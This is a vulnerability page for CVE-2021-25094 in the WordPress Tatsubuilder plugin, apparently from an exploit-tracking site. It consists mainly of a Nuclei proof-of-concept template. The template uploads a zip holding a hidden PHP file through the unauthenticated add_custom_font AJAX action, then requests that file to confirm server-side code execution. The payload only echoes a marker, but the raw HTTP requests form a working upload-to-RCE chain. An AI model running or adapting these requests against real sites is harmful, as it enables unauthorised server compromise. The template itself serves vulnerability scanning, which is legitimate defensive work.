CVE-2021-25094: Wordpress Tatsubuilder <= 3.3.11 - Remote Code Execution

2025-08-01 Wordpress Tatsubuilder PoC Public

Description

An unrestricted file upload in WordPress Tatsubuilder plugin version <= 3.3.11 enables an unauthenticated attacker to perform a remote code execution (RCE) on the server host due to multiple weaknesses in the font import feature and put 100,000 websites at risk.

PoC

id: CVE-2021-25094

info:
  name: Wordpress Tatsubuilder <= 3.3.11 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    An unrestricted file upload in WordPress Tatsubuilder plugin version <= 3.3.11 enables an unauthenticated attacker to perform a remote code execution (RCE) on the server host due to multiple weaknesses in the font import feature and put 100,000 websites at risk.
  impact: |
    Unauthenticated attackers can upload malicious PHP files via the font import feature, achieving remote code execution and complete server compromise.
  remediation: Fixed in 3.3.12
  reference:
    - https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/
    - https://wpscan.com/vulnerability/fb0097a0-5d7b-4e5b-97de-aacafa8fffcd/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25094
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2021-25094
    cwe-id: CWE-306
    epss-score: 0.83354
    epss-percentile: 0.99662
    cpe: cpe:2.3:a:brandexponents:tatsu:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    verified: true
    publicwww-query: "/wp-content/plugins/tatsu/"
  tags: cve,cve2021,wp,wp-plugin,wordpress,tatsu,rce,vkev,vuln

variables:
  marker: "{{randstr}}"
  b64marker: "{{base64(marker)}}"
  filename: "{{rand_base(5)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=a8bfdd88f26f754c25496d0dd4962d38

        --a8bfdd88f26f754c25496d0dd4962d38
        Content-Disposition: form-data; name="action"

        add_custom_font
        --a8bfdd88f26f754c25496d0dd4962d38
        Content-Disposition: form-data; name="file"; filename="{{filename}}.zip"

        {{zip('.{{filename}}.php','<?php echo base64_decode(\'{{b64marker}}\'); ?>')}}
        --a8bfdd88f26f754c25496d0dd4962d38--

    matchers:
      - type: word
        part: body
        words:
          - '"name":"{{to_lower(filename)}}"'
          - '"status":"success'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/typehub/custom/{{to_lower(filename)}}/.{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '{{marker}}'
# digest: 4b0a00483046022100cd20fd6091936f88bd7d7c4b10bfb3542a9934df77e6d6ea4ffa2e733d9ada96022100b340d49e5fde3aff68ffcc82b1e3fa3d6b98b27e05cc3dc376b3bd5913288e47:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities